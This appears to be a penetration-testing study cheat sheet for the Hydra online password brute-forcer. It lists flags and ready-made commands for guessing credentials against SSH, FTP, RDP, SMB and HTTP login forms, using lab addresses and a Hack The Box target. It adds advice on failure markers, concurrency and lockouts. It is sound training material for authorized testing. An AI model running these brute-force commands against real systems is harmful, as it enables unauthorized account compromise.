CRED^:Password Attacks

Hydra

Build service and HTTP-form authentication tests with validated failure markers, escaped separators, controlled concurrency and reliable result checks.

intermediateupdated 2026-10-11Hydra

Hydra

Online (live-service) password brute-forcer. Use it when you have a login form or network service and a candidate user/pass list — not for offline hashes (that’s hashcat/john). Current build here is v9.7.

Core syntax

hydra [-l USER | -L userlist] [-p PASS | -P passlist] [options] service://TARGET[:PORT][/OPT]
FlagMeaning
-l user / -L filesingle username / username list
-p pass / -P filesingle password / password list
-C filecombo file of user:pass per line (instead of -L/-P)
-e nsralso try null pass, pass = same as login, reversed login
-uloop across users for each password; changes ordering, not lockout protection
-t Nparallel tasks (default 16; drop to -t 4 for ssh/rdp)
-f / -Fstop after first valid pair (per-host / globally)
-s PORTnon-default port
-SSSL
-V / -vVshow every attempt
-o filewrite found creds to file
-Rrestore a crashed/aborted session

Services you’ll actually use

# SSH — keep -t low, sshd throttles hard
hydra -l root -P rockyou.txt ssh://10.10.10.5 -t 4

# FTP
hydra -L users.txt -P pass.txt ftp://10.10.10.5

# RDP
hydra -l administrator -P pass.txt rdp://10.10.10.5

# SMB authentication (not a reliable standalone user-enumeration test)
hydra -L users.txt -p 'Winter2024!' smb://10.10.10.5

# combo list of user:pass pairs (e.g. cracked DB dump) — HTB StreamIO
hydra -C userpass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"

HTTP form brute — three required fields

http-post-form / https-post-form take one argument with three required colon-separated fields (two separators), plus optional fields:

"<path>:<POST body>[:<optional fields>]:<F= or S= condition>"
# POST login form
hydra -l admin -P rockyou.txt 10.10.10.5 http-post-form \
  "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"

# HTTPS form (StreamIO): note service name https-post-form, host before service also works:
hydra -L users -P pass streamio.htb https-post-form \
  "/login.php:username=^USER^&password=^PASS^:F=failed"

# GET-based basic auth
hydra -l admin -P rockyou.txt 10.10.10.5 http-get /admin/

# match on SUCCESS text instead of failure (use S=)
hydra -l admin -P rockyou.txt 10.10.10.5 http-post-form \
  '/login:user=^USER^&pass=^PASS^:S=Location\: /dashboard'

# static cookie/header example; a rotating CSRF token needs a different workflow:
hydra -l admin -P pass.txt -t 1 10.10.10.5 http-post-form \
  '/login:user=^USER^&pass=^PASS^&csrf=TOKEN:H=Cookie\: PHPSESSID=abc123:F=failed'

Put the condition last. Optional fields go between the body and condition:

  • F=string — response containing string means failure (loop continues).
  • S=string — response containing string means success (hit).
  • H=Header\: value — add a header to every request (cookies, CSRF, UA). Repeatable.
  • C=/path — obtain cookies from this path; does not parse rotating CSRF fields.

[!tip] Build the body from a captured request Submit the login once through Burp, copy the exact POST body, then just swap the username/password values for ^USER^/^PASS^. Guessing field names is the #1 time-waster.

[!warning] Watch out

  • Pick F= or S=, not both. F= is safest when every failed login shows the same error text. If failure and success pages are near-identical, match a success-only signal (S=Location: redirect, a Set-Cookie, a username echo).
  • http-post-form vs https-post-form are different service names — using the wrong scheme just connection-errors every attempt.
  • Rate limits / lockouts: AD accounts lock after N bad tries. For domain creds prefer netexec/kerbrute password-spray (one pass across many users) over Hydra hammering one account. See Password Attacks.
  • -t too high on ssh/rdp causes dropped connections and false negatives — -t 4 for those.

Validate the detector before the wordlist

hydra -U http-post-form
# One deliberately invalid lab pair, one worker, verbose result
hydra -l known-test-user -p 'KnownInvalidExample!' -t 1 -V \
  10.10.10.5 http-post-form \
  '/login.php:username=^USER^&password=^PASS^:F=Invalid credentials'

Check the captured request against the browser: method, encoding, parameters, headers, cookies and redirect behaviour. Escape literal colons inside a marker/header as \: and keep the module argument shell-quoted. The options printed by hydra -U are the source for the installed module.

Success: a reported pair independently opens an authenticated session with the expected identity. A missing failure string can also mean an error page, expired token, redirect or rate limit. Stop and repair the detector if the known-invalid control is reported as valid.

-u and a low -t do not guarantee lockout-safe spraying. Per-account attempt budgets and delays come from the actual policy. For rotating tokens or JavaScript-managed authentication, use a workflow that refreshes the request state rather than pasting a static CSRF value.

See Also

  • NetExec — the better choice for SMB/WinRM/LDAP/MSSQL spraying in AD.
  • kerbrute — Kerberos pre-auth user enum + spray, lockout-aware.
  • Password Attacks — spray vs brute strategy and wordlists.

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.